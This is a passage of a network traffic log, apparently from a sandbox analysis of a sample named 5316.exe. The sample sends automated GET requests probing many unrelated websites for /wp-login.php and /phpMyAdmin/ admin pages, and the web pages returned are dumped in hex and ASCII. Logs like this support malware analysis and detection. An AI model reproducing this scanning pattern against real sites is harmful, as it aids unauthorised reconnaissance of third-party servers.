2023-12-20 02:13:27 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	352	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:27 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:27 UTC	5312	IN	Data Raw: 31 34 62 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 Data Ascii: 14b3<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Active Graphics — WordPress</title><meta name='robots' content='max-image-preview:large, noindex, noa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	58260	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	328	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_e5YgKhgITlfx2rtDv6BYORQdBFMgN8dgj/mGoVTxd1BttJLWbCbPjrAGRVwbW7+eeZUoRgkUR6aZKoHCM/fh1Q Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:27 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	58317	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	414	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=7c8794dbb9bf517796947dff97fab44d4974ccf3-1703038404; __cf_bm=fZwpL11j4L7WrdeL4euLn8ZdyRvVQKL2VBe1odLoH8c-1703038404-1-AWr2KhWI4ZYtMTn7GJ6/GMiNrPu+mgk/QfPQ6FUqWa1pAxsJXPdSrpHPA0A0MWW0wBT+laSVOsf3Gz7PHCaYgd0= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	1338	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845dc0786d7497-MIA CF-Cache-Status: HIT Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 57 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlz x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: 9371527a-01bc-4992-aad3-1d6ac04de9f6 X-HubSpot-NotFound: true x-request-id: 9371527a-01bc-4992-aad3-1d6ac04de9f6 X-Trace: 2B7E0E4F313D6EE1C42658B06698EC21FAEDF6A872000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R0CZBJt2IxhxHDEYFm6IAvHj4WQrdwVOGPWIO2xTS8w729JPphSWa70W3VycE3c1H54ZrAIfRMFYoxTkKmkCwEtt2o3jyks8xUMnCdqP26Y%2FqzZeRkPYyq9cvuMypU%2BYc4QGBAPADFfV5Tm%2BFU0%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:28 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 37 66 65 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 7fea<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:28 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	58372	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	332	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_X6BIIXX/EiVsiSQKAM9EHgORiCSckzaXsgzwhScOm3xSBaYFMU2mAytvkzRxkT1ByqHErmNpscuWHhQlfwTChw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:27 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	58356	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	331	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:27 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_fD7XTM8rQ/3ILAdLUBVbmzNaJl7px56Ov9FlatGBs16hw14pKfRSIiKyTlIhTesZky5kPY6tUoXQLlSBDC1eOA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:27 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	58381	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:27 UTC	174	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:28 UTC	734	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JfziBOJ2h6Ujpafp%2BYszlEQ2QOgwkiWvsvuzft8mDzkbisUkZJ4IEjZbeUji%2BGjGNB2Dh0U0JQ4jzM589Hw9H%2BqL8KK5KnV7LjNds0G3LMVBppcth95j1jNkPtTHvxJQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dc08ed50321-MIA alt-svc: h3=":443"; ma=86400
